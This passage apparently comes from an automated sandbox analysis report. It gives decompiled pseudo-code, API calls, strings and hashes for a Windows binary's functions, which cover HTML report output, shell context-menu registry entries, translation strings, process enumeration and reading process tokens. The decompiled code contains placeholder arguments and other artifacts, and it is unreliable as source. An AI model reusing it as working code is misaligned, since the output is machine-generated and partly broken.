_snwprintf.MSVCRT ref: 00407BDC
_snwprintf.MSVCRT ref: 00407C0B
wcscpy.MSVCRT ref: 00407C1C
_snwprintf.MSVCRT ref: 00407C3C
memset.MSVCRT ref: 00407C7B
_snwprintf.MSVCRT ref: 00407C9C
_snwprintf.MSVCRT ref: 00407CD6

Part of subcall function 0040ADC0: _snwprintf.MSVCRT ref: 0040ADE4

Strings

<font color="%s">, xrefs: 00407BFA
</font>, xrefs: 00407C16
bgcolor="%s", xrefs: 00407BCB
<th%s>%s%s%s, xrefs: 00407CC5
<table border="1" cellpadding="5"><tr%s>, xrefs: 00407C2B
width="%s", xrefs: 00407C8B

Memory Dump Source

Source File: 0000001B.00000002.449339946.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001B.00000002.449277468.0000000000400000.00000002.00020000.sdmp Download File
Associated: 0000001B.00000002.449443463.000000000040C000.00000002.00020000.sdmp Download File
Associated: 0000001B.00000002.449493837.000000000040F000.00000004.00020000.sdmp Download File
Associated: 0000001B.00000002.449543535.000000000041D000.00000002.00020000.sdmp Download File

Similarity

API ID: _snwprintf$memset$wcscpy
String ID: bgcolor="%s"$ width="%s"$</font>$<font color="%s">$<table border="1" cellpadding="5"><tr%s>$<th%s>%s%s%s
API String ID: 2000436516-3842416460
Opcode ID: d00ccfce514861463375abe2e6db6ffc98356b9832555c3fb27b3b8e17e2f823
Instruction ID: 17ce3237ebe69143205905a5a122d9f10e08837d2ebaecd13bb40ff2a02a5a8b
Opcode Fuzzy Hash: d00ccfce514861463375abe2e6db6ffc98356b9832555c3fb27b3b8e17e2f823
Instruction Fuzzy Hash: EA413371D40219AAEB20EB55CC86FAB737CFF45304F0440BAB918B6191D774AB948FA9

Uniqueness

Uniqueness Score: -1.00%

Function 00404415, Relevance: 26.4, APIs: 10, Strings: 5, Instructions: 124
registryCOMMON

Download Yara Rule

C-Code - Quality: 51%

			E00404415(void* __ecx, void* __eflags, intOrPtr _a4) {
				void* _v8;
				void* _v12;
				void* _v24;
				intOrPtr _v28;
				short _v32;
				void _v2078;
				signed int _v2080;
				void _v4126;
				char _v4128;
				void _v6174;
				char _v6176;
				void _v8222;
				char _v8224;
				signed int _t49;
				short _t55;
				intOrPtr _t56;
				int _t73;
				intOrPtr _t78;

				_t76 = __ecx;
				E0040B550(0x201c, __ecx);
				_t73 = 0;
				if(E004043F8( &_v8, 0x2001f) != 0) {
					L6:
					return _t73;
				}
				_v6176 = 0;
				memset( &_v6174, 0, 0x7fe);
				_t78 = _a4;
				_push(_t78 + 0x20a);
				_push(_t78);
				_push(L"%s\\shell\\%s\\command");
				_push(0x3ff);
				_push( &_v6176);
				L0040B1EC();
				if(E00409ECC(_t76, _v8,  &_v6176,  &_v12) == 0) {
					_t49 = E00409EF4(_v12, 0x40c4e8, _t78 + 0x414);
					asm("sbb ebx, ebx");
					_t73 =  ~_t49 + 1;
					RegCloseKey(_v12);
					_v2080 = _v2080 & 0x00000000;
					memset( &_v2078, 0, 0x7fe);
					E00404AD9( &_v2080);
					if(_v2078 == 0x3a) {
						_t55 =  *L"C:\\"; // 0x3a0043
						_v32 = _t55;
						_t56 =  *0x40ccdc; // 0x5c
						_v28 = _t56;
						asm("stosd");
						asm("stosd");
						asm("stosd");
						_v32 = _v2080;
						if(GetDriveTypeW( &_v32) == 3) {
							_v4128 = 0;
							memset( &_v4126, 0, 0x7fe);
							_v8224 = 0;
							memset( &_v8222, 0, 0x7fe);
							_push(_a4 + 0x20a);
							_push(_a4);
							_push(L"%s\\shell\\%s");
							_push(0x3ff);
							_push( &_v8224);
							L0040B1EC();
							_push( &_v2080);
							_push(L"\"%s\",0");
							_push(0x3ff);
							_push( &_v4128);
							L0040B1EC();
							E00409F1A(_t76, _v8,  &_v8224,  &_v4128);
						}
					}
				}
				RegCloseKey(_v8);
				goto L6;
			}

0x00404415
0x0040441d
0x0040442c
0x00404435
0x004045b3
0x004045b7
0x004045b7
0x0040444b
0x00404452
0x00404457
0x00404460
0x00404461
0x00404462
0x0040446d
0x00404472
0x00404473
0x00404490
0x004044a5
0x004044b4
0x004044b6
0x004044b7
0x004044bd
0x004044cf
0x004044db
0x004044eb
0x004044f1
0x004044f6
0x004044f9
0x004044fe
0x00404506
0x00404507
0x00404508
0x00404510
0x00404521
0x00404532
0x00404539
0x00404547
0x0040454e
0x0040455b
0x0040455c
0x00404564
0x0040456f
0x00404570
0x00404571
0x0040457c
0x0040457d
0x00404588
0x00404589
0x0040458a
0x004045a0
0x004045a5
0x00404521
0x004044eb
0x004045ab
0x00000000

APIs

memset.MSVCRT ref: 00404452
_snwprintf.MSVCRT ref: 00404473

Part of subcall function 00409ECC: RegCreateKeyExW.ADVAPI32(?,?,00000000,0040C4E8,00000000,000F003F,00000000,?,?,?,?,0040448B,?,?,?,?), ref: 00409EEC

RegCloseKey.ADVAPI32(?,?,?,?,0002001F,?,?,0040390E,?), ref: 004045AB

Part of subcall function 00409EF4: wcslen.MSVCRT ref: 00409EF8
Part of subcall function 00409EF4: RegSetValueExW.ADVAPI32(004044AA,004044AA,00000000,00000001,004044AA,?,004044AA,?,0040C4E8,?,?,?,?,0002001F), ref: 00409F13

RegCloseKey.ADVAPI32(?,?,?,?,?,?,?,0002001F,?,?,0040390E,?), ref: 004044B7
memset.MSVCRT ref: 004044CF

Part of subcall function 00404AD9: GetModuleFileNameW.KERNEL32(00000000,e/@,00000104,00402F65,00000000,?,?,00000000), ref: 00404AE4

GetDriveTypeW.KERNEL32(?), ref: 00404518
memset.MSVCRT ref: 00404539
memset.MSVCRT ref: 0040454E
_snwprintf.MSVCRT ref: 00404571
_snwprintf.MSVCRT ref: 0040458A

Part of subcall function 00409F1A: RegCloseKey.ADVAPI32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 00409F57

Strings

"%s",0, xrefs: 0040457D
%s\shell\%s\command, xrefs: 00404462
C:\, xrefs: 004044F1
%s\shell\%s, xrefs: 00404564
:, xrefs: 004044E3

Memory Dump Source

Source File: 0000001B.00000002.449339946.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001B.00000002.449277468.0000000000400000.00000002.00020000.sdmp Download File
Associated: 0000001B.00000002.449443463.000000000040C000.00000002.00020000.sdmp Download File
Associated: 0000001B.00000002.449493837.000000000040F000.00000004.00020000.sdmp Download File
Associated: 0000001B.00000002.449543535.000000000041D000.00000002.00020000.sdmp Download File

Similarity

API ID: memset$Close_snwprintf$CreateDriveFileModuleNameTypeValuewcslen
String ID: "%s",0$%s\shell\%s$%s\shell\%s\command$:$C:\
API String ID: 486436031-734527199
Opcode ID: 1a4cdad823c9c3dfd4e992b957ed6e3c88109aac474059595a3945d4247565ab
Instruction ID: 27235bf79c6ca8476a2d09a82ed3c32274241934b1c07e7e02f5f4f3263a5ff1
Opcode Fuzzy Hash: 1a4cdad823c9c3dfd4e992b957ed6e3c88109aac474059595a3945d4247565ab
Instruction Fuzzy Hash: A4410EB294021CFADB20DB95CC85DDFB6BCEF44304F0084B6B608F2191E7789B559BA9

Uniqueness

Uniqueness Score: -1.00%

Function 0040645E, Relevance: 26.3, APIs: 8, Strings: 7, Instructions: 95
COMMON

Download Yara Rule

C-Code - Quality: 87%

			E0040645E(void* __ecx, void* __eflags, struct HINSTANCE__* _a4, wchar_t* _a8) {
				void _v530;
				char _v532;
				void _v1042;
				long _v1044;
				long _v4116;
				char _v5164;
				void* __edi;
				void* _t27;
				void* _t38;
				void* _t44;

				E0040B550(0x142c, __ecx);
				_v1044 = 0;
				memset( &_v1042, 0, 0x1fc);
				_v532 = 0;
				memset( &_v530, 0, 0x208);
				E00404AD9( &_v532);
				_pop(_t44);
				E00405AA7( &_v5164);
				_t27 = E0040B04D( &_v5164,  &_v532);
				_t61 = _t27;
				if(_t27 != 0) {
					wcscpy( &_v1044,  &_v4116);
					_pop(_t44);
				}
				wcscpy(0x40fb90, _a8);
				wcscpy(0x40fda0, L"general");
				E00405FAC(_t61, L"TranslatorName", 0x40c4e8, 0);
				E00405FAC(_t61, L"TranslatorURL", 0x40c4e8, 0);
				E00405FAC(_t61, L"Version",  &_v1044, 1);
				E00405FAC(_t61, L"RTL", "0", 0);
				EnumResourceNamesW(_a4, 4, E0040620E, 0);
				EnumResourceNamesW(_a4, 5, E0040620E, 0);
				wcscpy(0x40fda0, L"strings");
				_t38 = E00406337(_t44, _t61, _a4);
				 *0x40fb90 =  *0x40fb90 & 0x00000000;
				return _t38;
			}

0x00406466
0x0040647d
0x00406484
0x00406499
0x004064a0
0x004064af
0x004064b4
0x004064bb
0x004064cd
0x004064d2
0x004064d4
0x004064e4
0x004064ea
0x004064ea
0x004064f3
0x00406503
0x00406514
0x00406525
0x0040653b
0x0040654e
0x00406568
0x00406572
0x0040657a
0x00406582
0x0040658a
0x00406596

APIs

memset.MSVCRT ref: 00406484
memset.MSVCRT ref: 004064A0

Part of subcall function 00404AD9: GetModuleFileNameW.KERNEL32(00000000,e/@,00000104,00402F65,00000000,?,?,00000000), ref: 00404AE4

Part of subcall function 0040B04D: GetFileVersionInfoSizeW.VERSION(004064D2,?,00000000), ref: 0040B063
Part of subcall function 0040B04D: ??2@YAPAXI@Z.MSVCRT ref: 0040B07E
Part of subcall function 0040B04D: GetFileVersionInfoW.VERSION(004064D2,00000000,?,00000000,00000000,004064D2,?,00000000), ref: 0040B08E
Part of subcall function 0040B04D: VerQueryValueW.VERSION(00000000,0040CD2C,004064D2,?,004064D2,00000000,?,00000000,00000000,004064D2,?,00000000), ref: 0040B0A1
Part of subcall function 0040B04D: VerQueryValueW.VERSION(00000000,\VarFileInfo\Translation,?,?,00000000,0040CD2C,004064D2,?,004064D2,00000000,?,00000000,00000000,004064D2,?,00000000), ref: 0040B0DE
Part of subcall function 0040B04D: _snwprintf.MSVCRT ref: 0040B0FE
Part of subcall function 0040B04D: wcscpy.MSVCRT ref: 0040B128

wcscpy.MSVCRT ref: 004064E4
wcscpy.MSVCRT ref: 004064F3
wcscpy.MSVCRT ref: 00406503
EnumResourceNamesW.KERNEL32(00406602,00000004,0040620E,00000000), ref: 00406568
EnumResourceNamesW.KERNEL32(00406602,00000005,0040620E,00000000), ref: 00406572
wcscpy.MSVCRT ref: 0040657A

Strings

TranslatorName, xrefs: 0040650F
strings, xrefs: 00406574
RTL, xrefs: 00406549
SFM, xrefs: 00406502
general, xrefs: 004064F8
TranslatorURL, xrefs: 00406520
Version, xrefs: 00406536

Memory Dump Source

Source File: 0000001B.00000002.449339946.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001B.00000002.449277468.0000000000400000.00000002.00020000.sdmp Download File
Associated: 0000001B.00000002.449443463.000000000040C000.00000002.00020000.sdmp Download File
Associated: 0000001B.00000002.449493837.000000000040F000.00000004.00020000.sdmp Download File
Associated: 0000001B.00000002.449543535.000000000041D000.00000002.00020000.sdmp Download File

Similarity

API ID: wcscpy$File$EnumInfoNamesQueryResourceValueVersionmemset$??2@ModuleNameSize_snwprintf
String ID: RTL$SFM$TranslatorName$TranslatorURL$Version$general$strings
API String ID: 3037099051-2314623505
Opcode ID: 7fb88fb6233af2db2d2511ed574e16bdb1e94482582c0cb23d08965938a53254
Instruction ID: e6de4c2f5101c47608bcafe23e33f00a3ad23f8f2b1db811bf874d9a9dfc23cd
Opcode Fuzzy Hash: 7fb88fb6233af2db2d2511ed574e16bdb1e94482582c0cb23d08965938a53254
Instruction Fuzzy Hash: ED21547294021875DB20B756DC4BECF3A6CEF44754F0105BBB508B21D2D7BC5A9489ED

Uniqueness

Uniqueness Score: -1.00%

Function 00409A94, Relevance: 21.2, APIs: 9, Strings: 3, Instructions: 154
libraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 44%

			E00409A94(long _a4, intOrPtr _a8) {
				int _v8;
				int _v12;
				int _v16;
				void* _v20;
				void* _v24;
				char _v28;
				intOrPtr _v32;
				char _v36;
				char _v44;
				char _v52;
				char _v60;
				void _v315;
				char _v316;
				void _v826;
				char _v828;
				void _v1338;
				char _v1340;
				void* __esi;
				void* _t61;
				_Unknown_base(*)()* _t93;
				void* _t94;
				int _t106;
				void* _t108;
				void* _t110;

				_v828 = 0;
				memset( &_v826, 0, 0x1fe);
				_v1340 = 0;
				memset( &_v1338, 0, 0x1fe);
				_t110 = _t108 + 0x18;
				_t61 = OpenProcess(0x400, 0, _a4);
				_t113 = _t61;
				_v20 = _t61;
				if(_t61 == 0) {
					L11:
					if(_v828 == 0) {
						__eflags = 0;
						return 0;
					}
					_push( &_v828);
					_push( &_v1340);
					_push(L"%s\\%s");
					_push(0xff);
					_push(_a8);
					L0040B1EC();
					return 1;
				}
				_v8 = 0;
				_v24 = 0;
				E00408F92( &_v8, _t113, _t61, 8,  &_v24);
				_t106 = _v24;
				if(_t106 == 0) {
					_t32 =  &_v20; // 0x4059ec
					E00409555( *_t32,  &_v36,  &_v44,  &_v52,  &_v60);
					_v316 = 0;
					memset( &_v315, 0, 0xfe);
					_t110 = _t110 + 0x20;
					_v16 = 0xff;
					__eflags = E00409A46(0x41c4b4, _a4,  &_v316,  &_v16, _v36, _v32);
					if(__eflags == 0) {
						L9:
						CloseHandle(_v20);
						if(_v8 != 0) {
							FreeLibrary(_v8);
						}
						goto L11;
					}
					_push( &_v28);
					_push( &_a4);
					_push( &_v1340);
					_push( &_v12);
					_push( &_v828);
					_a4 = 0xff;
					_push( &_v316);
					L8:
					_v12 = 0xff;
					E0040906D( &_v8, _t117);
					goto L9;
				}
				_v316 = 0;
				memset( &_v315, 0, 0xff);
				_v12 = _t106;
				_t110 = _t110 + 0xc;
				_a4 = 0;
				if(E00408F72( &_v8) == 0) {
					goto L9;
				}
				_t93 = GetProcAddress(_v8, "GetTokenInformation");
				if(_t93 == 0) {
					goto L9;
				}
				_t94 =  *_t93(_v12, 1,  &_v316, 0xff,  &_a4);
				_t117 = _t94;
				if(_t94 == 0) {
					goto L9;
				}
				_push( &_v28);
				_push( &_v12);
				_push( &_v1340);
				_push( &_v16);
				_push( &_v828);
				_push(_v316);
				_v16 = 0xff;
				goto L8;
			}

0x00409ab0
0x00409ab7
0x00409ac8
0x00409acf
0x00409ad4
0x00409ae0
0x00409ae6
0x00409ae8
0x00409af0
0x00409c3a
0x00409c41
0x00409c67
0x00000000
0x00409c67
0x00409c49
0x00409c50
0x00409c51
0x00409c56
0x00409c57
0x00409c5a
0x00000000
0x00409c64
0x00409b00
0x00409b03
0x00409b06
0x00409b0b
0x00409b10
0x00409ba9
0x00409bac
0x00409bc1
0x00409bc7
0x00409bcc
0x00409bd8
0x00409bf0
0x00409bf2
0x00409c23
0x00409c26
0x00409c2f
0x00409c34
0x00409c34
0x00000000
0x00409c2f
0x00409bf7
0x00409bfb
0x00409c02
0x00409c06
0x00409c0d
0x00409c14
0x00409c17
0x00409c18
0x00409c1b
0x00409c1e
0x00000000
0x00409c1e
0x00409b1f
0x00409b25
0x00409b2a
0x00409b2d
0x00409b33
0x00409b3d
0x00000000
0x00000000
0x00409b4b
0x00409b53
0x00000000
0x00000000
0x00409b6a
0x00409b6c
0x00409b6e
0x00000000
0x00000000
0x00409b77
0x00409b7b
0x00409b82
0x00409b86
0x00409b8d
0x00409b8e
0x00409b94
0x00000000

APIs

memset.MSVCRT ref: 00409AB7
memset.MSVCRT ref: 00409ACF
OpenProcess.KERNEL32(00000400,00000000,?,?,?,?,?,00000000,00000000), ref: 00409AE0
_snwprintf.MSVCRT ref: 00409C5A

Part of subcall function 00408F92: GetProcAddress.KERNEL32(00000000,OpenProcessToken), ref: 00408FA8

memset.MSVCRT ref: 00409B25
GetProcAddress.KERNEL32(?,GetTokenInformation), ref: 00409B4B
memset.MSVCRT ref: 00409BC7
CloseHandle.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,00000000,00000008,?), ref: 00409C26
FreeLibrary.KERNEL32(?,?,?,?,?,?,00000000,00000008,?,?,?,?,?,00000000,00000000), ref: 00409C34

Strings

GetTokenInformation, xrefs: 00409B43
Y@, xrefs: 00409BA9
%s\%s, xrefs: 00409C51

Memory Dump Source

Source File: 0000001B.00000002.449339946.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001B.00000002.449277468.0000000000400000.00000002.00020000.sdmp Download File
Associated: 0000001B.00000002.449443463.000000000040C000.00000002.00020000.sdmp Download File
Associated: 0000001B.00000002.449493837.000000000040F000.00000004.00020000.sdmp Download File
Associated: 0000001B.00000002.449543535.000000000041D000.00000002.00020000.sdmp Download File

Similarity

API ID: memset$AddressProc$CloseFreeHandleLibraryOpenProcess_snwprintf
String ID: %s\%s$GetTokenInformation$Y@
API String ID: 3504373036-27875219
Opcode ID: fa417e9f9b304094a666d2d32e69bd60d5871efe85622ded7a3fc1f13b21d4e3
Instruction ID: eda2fbc970d96949daa6443d9737cdff9b2c135ab99c7c98679ff10ae30762ca
Opcode Fuzzy Hash: fa417e9f9b304094a666d2d32e69bd60d5871efe85622ded7a3fc1f13b21d4e3
Instruction Fuzzy Hash: E451C9B2C0021DBADB51EB95DC81DEFBBBDEB44344F1045BAB505B2191EA349F84CBA4

Uniqueness

Uniqueness Score: -1.00%

Function 00409172, Relevance: 21.0, APIs: 6, Strings: 6, Instructions: 49
libraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00409172() {
				void* _t1;
				int _t2;
				struct HINSTANCE__* _t5;

				if( *0x4101bc != 0) {
					return _t1;
				}
				_t2 = E00405436(L"psapi.dll");
				_t5 = _t2;
				if(_t5 == 0) {
					L10:
					return _t2;
				} else {
					_t2 = GetProcAddress(_t5, "GetModuleBaseNameW");
					 *0x40f848 = _t2;
					if(_t2 != 0) {
						_t2 = GetProcAddress(_t5, "EnumProcessModules");
						 *0x40f840 = _t2;
						if(_t2 != 0) {
							_t2 = GetProcAddress(_t5, "GetModuleFileNameExW");
							 *0x40f838 = _t2;
							if(_t2 != 0) {
								_t2 = GetProcAddress(_t5, "EnumProcesses");
								 *0x40fa6c = _t2;
								if(_t2 != 0) {
									_t2 = GetProcAddress(_t5, "GetModuleInformation");
									 *0x40f844 = _t2;
									if(_t2 != 0) {
										 *0x4101bc = 1;
									}
								}
							}
						}
					}
					if( *0x4101bc == 0) {
						_t2 = FreeLibrary(_t5);
					}
					goto L10;
				}
			}

0x00409179
0x00409209
0x00409209
0x00409185
0x0040918a
0x0040918f
0x00409208
0x00000000
0x00409191
0x0040919e
0x004091a2
0x004091a7
0x004091af
0x004091b3
0x004091b8
0x004091c0
0x004091c4
0x004091c9
0x004091d1
0x004091d5
0x004091da
0x004091e2
0x004091e6
0x004091eb
0x004091ed
0x004091ed
0x004091eb
0x004091da
0x004091c9
0x004091b8
0x004091ff
0x00409202
0x00409202
0x00000000
0x004091ff

APIs

Part of subcall function 00405436: memset.MSVCRT ref: 00405456
Part of subcall function 00405436: wcscat.MSVCRT ref: 00405478
Part of subcall function 00405436: LoadLibraryW.KERNELBASE(00000000), ref: 00405489
Part of subcall function 00405436: LoadLibraryW.KERNEL32(?), ref: 00405492

GetProcAddress.KERNEL32(00000000,GetModuleBaseNameW), ref: 0040919E
GetProcAddress.KERNEL32(00000000,EnumProcessModules), ref: 004091AF
GetProcAddress.KERNEL32(00000000,GetModuleFileNameExW), ref: 004091C0
GetProcAddress.KERNEL32(00000000,EnumProcesses), ref: 004091D1
GetProcAddress.KERNEL32(00000000,GetModuleInformation), ref: 004091E2
FreeLibrary.KERNEL32(00000000), ref: 00409202

Strings

GetModuleBaseNameW, xrefs: 00409198
EnumProcessModules, xrefs: 004091A9
GetModuleFileNameExW, xrefs: 004091BA
GetModuleInformation, xrefs: 004091DC
EnumProcesses, xrefs: 004091CB
psapi.dll, xrefs: 00409180

Memory Dump Source

Source File: 0000001B.00000002.449339946.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001B.00000002.449277468.0000000000400000.00000002.00020000.sdmp Download File
Associated: 0000001B.00000002.449443463.000000000040C000.00000002.00020000.sdmp Download File
Associated: 0000001B.00000002.449493837.000000000040F000.00000004.00020000.sdmp Download File
Associated: 0000001B.00000002.449543535.000000000041D000.00000002.00020000.sdmp Download File

Similarity

API ID: AddressProc$Library$Load$Freememsetwcscat
String ID: EnumProcessModules$EnumProcesses$GetModuleBaseNameW$GetModuleFileNameExW$GetModuleInformation$psapi.dll
API String ID: 1182944575-70141382
Opcode ID: d87044beb2f544c687dd7353a18839beb98a5be9ca02ea53753111702b61b9a8
Instruction ID: e8d56a808bd010e6a3fef0dff4ae07571f85a6d4972d2e5c8a67e4e39b9e152a
Opcode Fuzzy Hash: d87044beb2f544c687dd7353a18839beb98a5be9ca02ea53753111702b61b9a8
Instruction Fuzzy Hash: 33017175A41207BAD7205B656D88FB739E49B91B51B14413FE404F12D2DB7C88459F2C

Uniqueness

Uniqueness Score: -1.00%

Function 004090EE, Relevance: 21.0, APIs: 6, Strings: 6, Instructions: 44
libraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E004090EE() {
				void* _t1;
				_Unknown_base(*)()* _t2;
				struct HINSTANCE__* _t4;

				if( *0x4101b8 != 0) {
					return _t1;
				}
				_t2 = GetModuleHandleW(L"kernel32.dll");
				_t4 = _t2;
				if(_t4 == 0) {
					L9:
					return _t2;
				}
				_t2 = GetProcAddress(_t4, "CreateToolhelp32Snapshot");
				 *0x40f83c = _t2;
				if(_t2 != 0) {
					_t2 = GetProcAddress(_t4, "Module32First");
					 *0x40f834 = _t2;
					if(_t2 != 0) {
						_t2 = GetProcAddress(_t4, "Module32Next");
						 *0x40f830 = _t2;
						if(_t2 != 0) {
							_t2 = GetProcAddress(_t4, "Process32First");
							 *0x40f5c4 = _t2;
							if(_t2 != 0) {
								_t2 = GetProcAddress(_t4, "Process32Next");
								 *0x40f828 = _t2;
								if(_t2 != 0) {
									 *0x4101b8 = 1;
								}
							}
						}
					}
				}
				goto L9;
			}

0x004090f5
0x00409171
0x00409171
0x004090fd
0x00409103
0x00409107
0x00409170
0x00000000
0x00409170
0x00409116
0x0040911a
0x0040911f
0x00409127
0x0040912b
0x00409130
0x00409138
0x0040913c
0x00409141
0x00409149
0x0040914d
0x00409152
0x0040915a
0x0040915e
0x00409163
0x00409165
0x00409165
0x00409163
0x00409152
0x00409141
0x00409130
0x00000000

APIs

GetModuleHandleW.KERNEL32(kernel32.dll,?,00408C9F), ref: 004090FD
GetProcAddress.KERNEL32(00000000,CreateToolhelp32Snapshot), ref: 00409116
GetProcAddress.KERNEL32(00000000,Module32First), ref: 00409127
GetProcAddress.KERNEL32(00000000,Module32Next), ref: 00409138
GetProcAddress.KERNEL32(00000000,Process32First), ref: 00409149
GetProcAddress.KERNEL32(00000000,Process32Next), ref: 0040915A

Strings

Module32First, xrefs: 00409121
kernel32.dll, xrefs: 004090F8
Process32Next, xrefs: 00409154
CreateToolhelp32Snapshot, xrefs: 00409110
Process32First, xrefs: 00409143
Module32Next, xrefs: 00409132

Memory Dump Source

Source File: 0000001B.00000002.449339946.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001B.00000002.449277468.0000000000400000.00000002.00020000.sdmp Download File
Associated: 0000001B.00000002.449443463.000000000040C000.00000002.00020000.sdmp Download File
Associated: 0000001B.00000002.449493837.000000000040F000.00000004.00020000.sdmp Download File
Associated: 0000001B.00000002.449543535.000000000041D000.00000002.00020000.sdmp Download File

Similarity

API ID: AddressProc$HandleModule
String ID: CreateToolhelp32Snapshot$Module32First$Module32Next$Process32First$Process32Next$kernel32.dll
API String ID: 667068680-3953557276
Opcode ID: 684ed8b1756a354eaa76eb9bf25297defa38c2621817bb94c0e51767f3dc11ec
Instruction ID: 22745fca4ee5753030f6263dae9a7fe791be1dfa5e14f8ddaef7bf0c79e2feda
Opcode Fuzzy Hash: 684ed8b1756a354eaa76eb9bf25297defa38c2621817bb94c0e51767f3dc11ec
Instruction Fuzzy Hash: D6F01D71F41313EAE761AB786E84F673AF85A85B44714403BA804F53D9EB7C8C46CA6C

Uniqueness

Uniqueness Score: -1.00%

Function 00409F9C, Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 99
COMMON

Download Yara Rule

C-Code - Quality: 56%

			E00409F9C(intOrPtr* __ecx, intOrPtr _a4, intOrPtr _a8, long long* _a12, long long _a16) {
				void _v514;
				char _v516;
				void _v1026;
				char _v1028;
				void _v1538;
				char _v1540;
				void* _t39;
				intOrPtr* _t50;
				void* _t61;

				_t50 = __ecx;
				_push(0x1fe);
				_push(0);
				if( *((intOrPtr*)(__ecx + 4)) == 0) {
					_v1540 = 0;
					memset( &_v1538, ??, ??);
					_v1028 = 0;
					memset( &_v1026, 0, 0x1fe);
					_v516 = 0;
					memset( &_v514, 0, 0x1fe);
					L0040B1EC();
					 *((long long*)(_t61 + 0x2c)) = _a16;
					L0040B1EC();
					_t39 =  *((intOrPtr*)( *_t50 + 0x10))(_a4,  &_v1540,  &_v1028, 0xff,  &_v1028, 0xff,  &_v516,  &_v516, 0xff, L"%%0.%df", _a8);
					if (_t39 != 0) goto L3;
					return _t39;
				}
				_v516 = 0;
				memset( &_v514, ??, ??);
				_v1028 = 0;
				memset( &_v1026, 0, 0x1fe);
				L0040B1EC();
				 *((long long*)(_t61 + 0x20)) =  *_a12;
				L0040B1EC();
				return  *((intOrPtr*)( *_t50 + 0x10))(_a4,  &_v516, 0x40c4e8, 0xff,  &_v516, 0xff,  &_v1028,  &_v1028, 0xff, L"%%0.%df", _a8);
			}

0x00409faf
0x00409fb4
0x00409fb5
0x00409fb6
0x0040a043
0x0040a04a
0x0040a058
0x0040a05f
0x0040a06d
0x0040a074
0x0040a08e
0x0040a099
0x0040a0ab
0x0040a0c9
0x0040a0ce
0x00000000
0x0040a0ce
0x00409fc3
0x00409fca
0x00409fd8
0x00409fdf
0x00409ff9
0x0040a006
0x0040a018
0x00000000

APIs

memset.MSVCRT ref: 00409FCA
memset.MSVCRT ref: 00409FDF
_snwprintf.MSVCRT ref: 00409FF9
_snwprintf.MSVCRT ref: 0040A018
memset.MSVCRT ref: 0040A04A
memset.MSVCRT ref: 0040A05F
memset.MSVCRT ref: 0040A074
_snwprintf.MSVCRT ref: 0040A08E
_snwprintf.MSVCRT ref: 0040A0AB

Strings

%%0.%df, xrefs: 00409FEC, 0040A081

Memory Dump Source

Source File: 0000001B.00000002.449339946.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001B.00000002.449277468.0000000000400000.00000002.00020000.sdmp Download File
Associated: 0000001B.00000002.449443463.000000000040C000.00000002.00020000.sdmp Download File
Associated: 0000001B.00000002.449493837.000000000040F000.00000004.00020000.sdmp Download File
Associated: 0000001B.00000002.449543535.000000000041D000.00000002.00020000.sdmp Download File

Similarity

API ID: memset$_snwprintf
String ID: %%0.%df
API String ID: 3473751417-763548558
Opcode ID: 9c1d8227a7254b2b345134e9c44fb34bf141cbad45bd10bf7a91d83f6708c758
Instruction ID: 9f87d91c1f60d09641f67b426c6f30a2a5dee33008317eed3759a4a42041cb36
Opcode Fuzzy Hash: 9c1d8227a7254b2b345134e9c44fb34bf141cbad45bd10bf7a91d83f6708c758
Instruction Fuzzy Hash: 61315D72940129AADB20DF95CC89FEB777CEF49344F0004FAB509B6152D7349A94CBA9

Uniqueness

Uniqueness Score: -1.00%

Function 0040620E, Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 97
windowCOMMON

Download Yara Rule

C-Code - Quality: 51%

			E0040620E(void* __ecx, void* __eflags, struct HINSTANCE__* _a4, struct HWND__* _a8, WCHAR* _a12) {
				void _v8202;
				short _v8204;
				void* _t27;
				short _t29;
				short _t40;
				void* _t41;
				struct HMENU__* _t43;
				short _t50;
				void* _t52;
				struct HMENU__* _t59;

				E0040B550(0x2008, __ecx);
				_t65 = _a8 - 4;
				if(_a8 != 4) {
					__eflags = _a8 - 5;
					if(_a8 == 5) {
						_t50 =  *0x40fe2c; // 0x0
						__eflags = _t50;
						if(_t50 == 0) {
							L8:
							_push(_a12);
							_t27 = 5;
							E00405E8D(_t27);
							_t29 = CreateDialogParamW(_a4, _a12, 0, E00406209, 0);
							__eflags = _t29;
							_a8 = _t29;
							if(_t29 == 0) {
								_a8 = CreateDialogParamW(_a4, _a12, GetDesktopWindow(), E00406209, 0);
							}
							_v8204 = 0;
							memset( &_v8202, 0, 0x2000);
							GetWindowTextW(_a8,  &_v8204, 0x1000);
							__eflags = _v8204;
							if(__eflags != 0) {
								E00405FAC(__eflags, L"caption",  &_v8204, 0);
							}
							EnumChildWindows(_a8, E0040614F, 0);
							DestroyWindow(_a8);
						} else {
							while(1) {
								_t40 =  *_t50;
								__eflags = _t40;
								if(_t40 == 0) {
									goto L8;
								}
								__eflags = _t40 - _a12;
								if(_t40 != _a12) {
									_t50 = _t50 + 4;
									__eflags = _t50;
									continue;
								}
								goto L13;
							}
							goto L8;
						}
					}
				} else {
					_push(_a12);
					_t41 = 4;
					E00405E8D(_t41);
					_pop(_t52);
					_t43 = LoadMenuW(_a4, _a12);
					 *0x40fe20 =  *0x40fe20 & 0x00000000;
					_t59 = _t43;
					_push(1);
					_push(_t59);
					_push(_a12);
					E0040605E(_t52, _t65);
					DestroyMenu(_t59);
				}
				L13:
				return 1;
			}

0x00406216
0x0040621b
0x00406222
0x0040625f
0x00406263
0x00406269
0x00406271
0x00406273
0x00406289
0x00406289
0x0040628e
0x0040628f
0x004062a9
0x004062ab
0x004062ad
0x004062b0
0x004062c3
0x004062c3
0x004062d3
0x004062da
0x004062f1
0x004062f7
0x004062fe
0x0040630d
0x00406312
0x0040631e
0x00406327
0x00406275
0x00406283
0x00406283
0x00406285
0x00406287
0x00000000
0x00000000
